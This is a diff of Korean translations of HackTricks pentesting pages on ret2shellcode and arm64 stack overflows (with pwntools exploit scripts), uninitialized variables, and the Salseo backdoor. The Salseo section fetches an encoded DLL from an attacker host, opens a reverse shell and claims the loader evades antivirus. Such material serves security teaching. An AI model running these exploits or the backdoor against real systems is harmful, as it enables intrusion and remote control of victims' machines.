* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 셸코드가 위치할 메모리 주소를 예측하기 쉽게 합니다. * `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
* `-m32`: 프로그램을 32비트 실행 파일로 컴파일합니다. 주로 exploit 개발의 간편성을 위해 사용됩니다. * `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다.
### Pwntools를 사용한 Python Exploit ### Pwntools를 사용한 Python 익스플로잇
다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python exploit을 작성하는 방법입니다: 다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 익스플로잇을 Python으로 작성하는 방법입니다:
```python ```python
from pwn import * from pwn import *
@ -78,38 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
이 스크립트는 **NOP 슬라이드**, **쉘코드**, 그리고 **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어쓰면서 쉘코드가 실행되도록 페이로드를 구성합니다. 이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다.
**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이딩"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 착지할 수 있습니다. **NOP 슬라이드**(`asm('nop')`)는 정확한 주소에 관계없이 실행이 우리의 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다.
## 보호 기능 ## 보호 조치
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있고 이를 알아내기 위해 유출이 필요할 수 있습니다. * [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
* [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 수 있습니다. * [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 수 있습니다. 해당 영역은 실행할 수 없기 때문입니다. * [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 왜냐하면 해당 영역은 실행 가능하지 않기 때문입니다.
## 다른 예제 및 참고 자료 ## 기타 예제 및 참조
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64비트, 스택 주소 유출과 ASLR, 쉘코드 작성 및 실행 * 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32비트, 스택 유출과 ASLR, 쉘코드 작성 및 실행 * 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) * [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32비트, 스택 유출과 ASLR, exit() 호출 방지를 위한 비교, 변수 덮어쓰기 및 쉘코드 작성 및 실행 * 32비트, 스택 leak가 있는 ASLR, exit() 호출을 방지하기 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기 * arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 전문가로 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃헙 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,27 @@
# 스택 쉘코드 - arm64 # Stack Shellcode - arm64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
[arm64 기본 어셈블리.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다. arm64에 대한 소개는 다음에서 확인하세요:
## 코드&#x20; {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Code&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -31,19 +36,21 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
파이, 캐너리, NX 없이 컴파일하기: Compile without pie, canary and nx:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## ASLR 없음 & canary 없음 - 스택 오버플로우 {% endcode %}
ASLR을 중지하려면 실행하세요: ## ASLR 비활성화 및 카나리 없음 - 스택 오버플로우&#x20;
ASLR을 중지하려면:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
[**bof 오프셋을 얻으려면 이 링크를 확인하십시오**](../ret2win/ret2win-arm64.md#finding-the-offset). [**bof의 오프셋을 확인하려면 이 링크를 참조하세요**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit: Exploit:
```python ```python
@ -76,6 +83,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
다음으로 호출할 스택 내 주소를 찾는 것이 유일하게 "복잡"할 수 있는 부분입니다. 제 경우 gdb를 사용하여 찾은 주소로 exploit을 생성했지만, exploit을 시도할 때 작동하지 않았습니다 (스택 주소가 약간 변경되었기 때문입니다). 여기서 "복잡한" 유일한 것은 호출할 스택의 주소를 찾는 것입니다. 제 경우에는 gdb를 사용하여 찾은 주소로 익스플로잇을 생성했지만, 익스플로잇할 때 작동하지 않았습니다(스택 주소가 약간 변경되었기 때문입니다).
생성된 **`core` 파일** (`gdb ./bog ./core`)을 열고 쉘코드 시작 주소의 실제 주소를 확인했습니다. 생성된 **`core` 파일**을 열고(`gdb ./bog ./core`) 셸코드 시작의 실제 주소를 확인했습니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# 초기화되지 않은 변수 # 초기화되지 않은 변수
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## 기본 정보
여기서 핵심 아이디어는 **초기화되지 않은 변수가 할당된 메모리에 이미 있는 값으로 설정되는지 이해하는 것**입니다. 예시: 여기서 핵심 아이디어는 **초기화되지 않은 변수가 할당된 메모리에 이미 있던 값을 가지게 된다는 것을 이해하는 것입니다.** 예:
* **함수 1: `initializeVariable`**: 변수 `x`를 선언하고 값 `0x1234`를 할당합니다. 이 동작은 메모리에 공간을 예약하고 특정 값을 넣는 것과 유사합니다. * **함수 1: `initializeVariable`**: 우리는 변수 `x`를 선언하고 값을 할당합니다. 예를 들어 `0x1234`라고 합시다. 이 작업은 메모리에서 자리를 예약하고 특정 값을 넣는 것과 같습니다.
* **함수 2: `useUninitializedVariable`**: 여기서 다른 변수 `y`를 선언하지만 값을 할당하지 않습니다. C에서 초기화되지 않은 변수는 자동으로 0으로 설정되지 않습니다. 대신, 그들은 메모리 위치에 마지막으로 저장된 값이 유지됩니다. * **함수 2: `useUninitializedVariable`**: 여기서 우리는 또 다른 변수 `y`를 선언하지만 값은 할당하지 않습니다. C에서는 초기화되지 않은 변수가 자동으로 0으로 설정되지 않습니다. 대신, 그들은 마지막으로 저장된 값을 유지합니다.
이 두 함수를 **순차적으로** 실행할 때: 이 두 함수를 **순차적으로** 실행할 때:
1. `initializeVariable`에서 `x`에 값(`0x1234`)이 할당되어 특정 메모리 주소를 차지합니다. 1. `initializeVariable`에서 `x`는 값(`0x1234`)을 할당받아 특정 메모리 주소를 차지합니다.
2. `useUninitializedVariable`에서 `y`가 선언되지만 값이 할당되지 않으므로 `x` 바로 뒤의 메모리 위치를 차지합니다. `y`를 초기화하지 않았기 때문에, `x`가 사용한 메모리 위치에서 마지막으로 있던 값이 `y`에 "상속"됩니다. 2. `useUninitializedVariable`에서 `y`는 선언되지만 값이 할당되지 않으므로 `x` 바로 뒤의 메모리 자리를 차지합니다. `y`를 초기화하지 않음으로써, `y``x`가 사용한 동일한 메모리 위치에서 마지막 값인 `0x1234`를 "상속"하게 됩니다.
동작은 저수준 프로그래밍의 중요한 개념을 보여줍니다: **메모리 관리가 중요**하며, 초기화되지 않은 변수는 예측할 수 없는 동작이나 보안 취약점으로 이어질 수 있습니다. 왜냐하면 그들은 의도치 않게 메모리에 남아 있는 민감한 데이터를 보유할 수 있기 때문입니다. 행동은 저수준 프로그래밍의 핵심 개념을 설명합니다: **메모리 관리가 중요하며**, 초기화되지 않은 변수는 예측할 수 없는 행동이나 보안 취약점을 초래할 수 있습니다. 왜냐하면 이들은 메모리에 남아 있는 민감한 데이터를 의도치 않게 보유할 수 있기 때문입니다.
초기화되지 않은 스택 변수는 다음과 같은 보안 위험을 야기할 수 있습니다: 초기화되지 않은 스택 변수는 여러 보안 위험을 초래할 수 있습니다:
* **데이터 누출**: 암호, 암호화 키 또는 개인 정보와 같은 민감한 정보가 초기화되지 않은 변수에 저장된 경우 노출될 수 있어 공격자가 이 데이터를 읽을 수 있게 됩니다. * **데이터 유출**: 비밀번호, 암호화 키 또는 개인 정보와 같은 민감한 정보가 초기화되지 않은 변수에 저장될 경우 노출될 수 있으며, 공격자가 이 데이터를 읽을 수 있습니다.
* **정보 노출**: 초기화되지 않은 변수의 내용은 프로그램의 메모리 레이아웃이나 내부 작업에 대한 세부 정보를 드러낼 수 있어 공격자가 특정한 공격을 개발하는 데 도움이 됩니다. * **정보 공개**: 초기화되지 않은 변수의 내용은 프로그램의 메모리 레이아웃이나 내부 작업에 대한 세부 정보를 드러낼 수 있어, 공격자가 표적 공격을 개발하는 데 도움을 줄 수 있습니다.
* **크래시 및 불안정성**: 초기화되지 않은 변수를 사용하는 작업은 정의되지 않은 동작으로 이어져 프로그램 충돌이나 예측할 수 없는 결과를 초래할 수 있습니다. * **충돌 및 불안정성**: 초기화되지 않은 변수를 포함한 작업은 정의되지 않은 행동을 초래할 수 있으며, 이는 프로그램 충돌이나 예측할 수 없는 결과로 이어질 수 있습니다.
* **임의 코드 실행**: 특정 시나리오에서 공격자는 이러한 취약점을 악용하여 프로그램의 실행 흐름을 변경하여 임의 코드를 실행할 수 있게 되어 원격 코드 실행 위협을 포함할 수 있습니다. * **임의 코드 실행**: 특정 시나리오에서 공격자는 이러한 취약점을 이용하여 프로그램의 실행 흐름을 변경하고, 원격 코드 실행 위협을 포함한 임의 코드를 실행할 수 있습니다.
### 예시 ### 예시
```c ```c
@ -65,12 +66,27 @@ demonstrateUninitializedVar();
return 0; return 0;
} }
``` ```
#### 작동 방식: #### How This Works:
* **`initializeAndPrint` 함수**: 이 함수는 정수 변수 `initializedVar`를 선언하고 값 `100`을 할당한 다음 변수의 메모리 주소와 값을 출력합니다. 이 단계는 초기화된 변수의 동작 방식을 보여주며 간단합니다. * **`initializeAndPrint` Function**: 이 함수는 정수 변수 `initializedVar`를 선언하고, 그 `100`을 할당한 다음, 변수의 메모리 주소와 값을 출력합니다. 이 단계는 간단하며 초기화된 변수가 어떻게 동작하는지를 보여줍니다.
* **`demonstrateUninitializedVar` 함수**: 이 함수에서는 초기화하지 않은 정수 변수 `uninitializedVar`를 선언합니다. 해당 변수의 값을 출력하려고 시도하면 출력은 무작위 숫자를 보여줄 수 있습니다. 이 숫자는 해당 메모리 위치에 이전에 있던 데이터를 나타냅니다. 환경 및 컴파일러에 따라 실제 출력물이 다양할 수 있으며 때로는 안전을 위해 일부 컴파일러가 변수를 자동으로 0으로 초기화할 수도 있지만 이에 의존해서는 안 됩니다. * **`demonstrateUninitializedVar` Function**: 이 함수에서는 초기화하지 않은 정수 변수 `uninitializedVar`를 선언합니다. 이 변수의 값을 출력하려고 할 때, 출력은 무작위 숫자를 보여줄 수 있습니다. 이 숫자는 해당 메모리 위치에 이전에 있던 데이터를 나타냅니다. 환경과 컴파일러에 따라 실제 출력은 달라질 수 있으며, 때때로 안전을 위해 일부 컴파일러는 변수를 자동으로 0으로 초기화할 수 있지만, 이는 의존해서는 안 됩니다.
* **`main` 함수**: `main` 함수는 위의 두 함수를 순서대로 호출하여 초기화된 변수와 초기화되지 않은 변수 간의 대조를 보여줍니다. * **`main` Function**: `main` 함수는 위의 두 함수를 순차적으로 호출하여 초기화된 변수와 초기화되지 않은 변수의 차이를 보여줍니다.
## ARM64 예제 ## ARM64 Example
로컬 변수도 스택에서 관리되므로 ARM64에서는 전혀 변경되지 않습니다. 여기에서 이를 보여주는 [**이 예제를 확인하세요**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/). ARM64에서는 로컬 변수가 스택에서 관리되므로 전혀 변경되지 않습니다. [**이 예제**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)를 확인할 수 있습니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,70 +1,71 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
</details> </details>
{% endhint %}
## 이진 파일 컴파일 ## 바이너리 컴파일
깃허브에서 소스 코드를 다운로드하고 **EvilSalsa** 및 **SalseoLoader**를 컴파일하세요. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다. github에서 소스 코드를 다운로드하고 **EvilSalsa**와 **SalseoLoader**를 컴파일합니다. 코드를 컴파일하려면 **Visual Studio**가 설치되어 있어야 합니다.
이러한 프로젝트를 **Windows 상자의 아키텍처**에 맞게 컴파일하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일하세요). 사용할 윈도우 박스의 아키텍처에 맞게 프로젝트를 컴파일합니다(윈도우가 x64를 지원하면 해당 아키텍처로 컴파일합니다).
**Visual Studio**에서 **"Platform Target"**에서 **아키텍처를 선택**할 수 있습니다. **Visual Studio****왼쪽 "Build" 탭**에서 **"Platform Target"**을 통해 **아키텍처를 선택**할 수 있습니다.
(\*\*이 옵션을 찾을 수 없는 경우 **"프로젝트 탭"**을 누르고 **"\<프로젝트 이름> 속성"**을 선택하세요) (\*\*이 옵션을 찾을 수 없으면 **"Project Tab"**을 클릭한 다음 **"\<Project Name> Properties"**를 클릭하세요)
![](<../.gitbook/assets/image (839).png>) ![](<../.gitbook/assets/image (839).png>)
그런 다음, 두 프로젝트를 빌드하세요 (빌드 -> 솔루션 빌드) (로그 내에서 실행 파일의 경로가 표시됩니다): 그런 다음 두 프로젝트를 빌드합니다 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):
![](<../.gitbook/assets/image (381).png>) ![](<../.gitbook/assets/image (381).png>)
## 백도어 준비 ## 백도어 준비
먼저, **EvilSalsa.dll을 인코딩**해야 합니다. 이를 위해 **encrypterassembly.py** 파이썬 스크립트를 사용하거나 프로젝트 **EncrypterAssembly**를 컴파일할 수 있습니다: 우선, **EvilSalsa.dll**을 인코딩해야 합니다. 이를 위해 **encrypterassembly.py**라는 파이썬 스크립트를 사용하거나 **EncrypterAssembly** 프로젝트를 컴파일할 수 있습니다.
### **Python** ### **Python**
``` ```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE> python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
``` ```
### Windows ### 윈도우
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
이제 Salseo 작업을 실행하는 데 필요한 모든 것을 갖추었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**. 알겠습니다. 이제 모든 Salseo 작업을 실행하는 데 필요한 모든 것이 있습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 바이너리.**
**SalseoLoader.exe 바이너리를 기계에 업로드하세요. 어떤 AV에서도 감지되지 않아야 합니다...** **SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...**
## **백도어 실행** ## **백도어 실행**
### **TCP 역쉘 가져오기 (HTTP를 통해 인코딩된 dll 다운로드)** ### **TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)**
인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 시작하고 역쉘 리스너로 nc를 시작하는 것을 기억하세요. nc를 리버스 셸 리스너로 시작하고 인코딩된 evilsalsa를 제공할 HTTP 서버를 시작하는 것을 잊지 마세요.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **UDP 리버스 쉘 획득 (SMB를 통해 인코딩된 dll 다운로드)** ### **UDP 리버스 셸 얻기 (SMB를 통한 인코딩된 dll 다운로드)**
